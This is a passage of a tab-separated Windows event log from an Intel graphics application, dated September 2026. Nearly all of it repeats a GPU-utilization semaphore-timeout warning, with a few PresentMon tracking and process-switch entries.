semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:44.065\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:44.399\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:44.622\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:44.845\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:45.070\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:45.405\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:46.074\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:46.518\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:46.961\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:47.182\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:47.405\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:47.627\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:47.850\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:48.074\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:48.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:49.177\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:49.399\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:49.621\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:49.843\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:50.177\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:50.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:50.716\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:51.719\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:52.270\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:52.279\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:52.284\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"StartMenuExperienceHost\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:57.653\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:57.657\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:57.991\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:58.213\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:58.434\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:59.214\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:59.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:59.994\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:00.549\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:00.995\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:01.327\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:01.550\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:01.768\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:01.994\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:02.219\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:02.440\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:03.108\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:03.315\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:03.758\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:04.425\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:04.867\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:05.091\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:05.647\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:05.868\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:06.760\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:07.094\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:07.317\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:07.539\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:07.761\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:08.762\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:08.986\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:09.314\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:09.758\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:09.980\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:10.755\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:10.963\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:11.848\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:12.070\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:12.736\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:12.957\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:13.626\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:13.851\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:14.629\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:15.628\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:16.183\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:16.516\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:16.959\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:17.292\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:17.516\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:18.410\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:18.744\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:19.301\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:19.850\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:20.075\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:20.632\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:20.965\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:21.291\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:21.514\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:21.962\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:22.744\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:22.967\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:23.187\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:23.410\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:23.631\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:23.853\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:24.078\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:24.303\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:24.521\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:24.726\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:24.945\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:25.160\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:25.368\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:25.697\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:25.903\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:27.459\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:27.792\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:28.021\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:28.359\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:28.573\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:28.793\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:29.011\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:29.222\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:29.432\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:29.650\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:29.864\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:30.192\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:30.406\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:30.614\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be 